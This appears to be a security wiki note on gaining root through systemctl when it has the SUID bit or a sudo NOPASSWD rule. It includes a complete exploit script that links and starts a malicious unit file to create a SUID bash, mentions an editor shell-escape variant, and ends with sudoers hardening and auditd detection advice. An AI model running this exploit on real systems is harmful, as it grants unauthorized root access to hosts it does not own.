systemctl SUID and sudo Privilege Escalation
systemctl is systemd’s control utility — and if it is reachable with elevated privileges (SUID bit, or a sudo NOPASSWD rule), it becomes a clean root-shell delivery mechanism: systemd will happily link and start an attacker-authored unit file that runs arbitrary commands as root. GTFOBins documents both the SUID and sudo variants.
The service-file trick
FILE=$(mktemp -u)
cat > ${FILE}.service << 'EOF'
[Service]
Type=oneshot
ExecStart=/bin/cp /bin/bash ${FILE}.sh
ExecStart=/bin/chmod +xs ${FILE}.sh
[Install]
WantedBy=multi-user.target
EOF
systemctl link ${FILE}.service # register the unit without moving it
systemctl start ${FILE}.service # systemd runs ExecStart as root
${FILE}.sh -p # root shell (bash -p preserves euid)Why it works:
systemctl linkregisters a unit file from an arbitrary path into systemd’s unit search path — no write access to/etc/systemd/systemrequired.Type=oneshotservices run theirExecStartcommands sequentially as the unit’s user, which defaults to root for system units.- The payload copies bash and sets the SUID/SGID bits; invoking it with
-ppreserves the effective UID (see suid-shell-executable for why-pmatters).
Two privilege paths
| Path | Precondition | Notes |
|---|---|---|
| SUID systemctl | chmod u+s /bin/systemctl (misconfiguration) | Rare in practice — but systemctl does not drop privileges, so every subcommand runs with the effective UID. |
| sudo NOPASSWD | (root) NOPASSWD: /bin/systemctl in sudoers | Far more common: admins grant systemctl to let users restart a service, not realizing link + start of an arbitrary unit is equivalent to full root. Check with [[sudo-nopasswd-recon |
A milder variant of the sudo path abuses systemctl edit/--force: when SYSTEMD_EDITOR (or EDITOR) is honored, sudo systemctl edit some.target opens an editor as root — and any editor with a shell escape (vim, nano’s ^R^X, pager escapes in systemctl’s paged output) yields the same result.
Defense and detection
- Never grant blanket
NOPASSWDonsystemctl— restrict to specific verbs (start,stop,status) and specific units via sudoers argument matching. - Detection: auditd on
execveofsystemctl link/startwith unit paths outside/etc/systemd/systemand/lib/systemd/system; new SUID-root copies of shells appearing in world-writable directories.
Sources
- systemctl | GTFOBins
- systemd.service — Service unit configuration
- systemctl — Control the systemd system and service manager
Related: sudo-nopasswd-recon, suid-shell-executable, unix-permissions, ld-preload-trick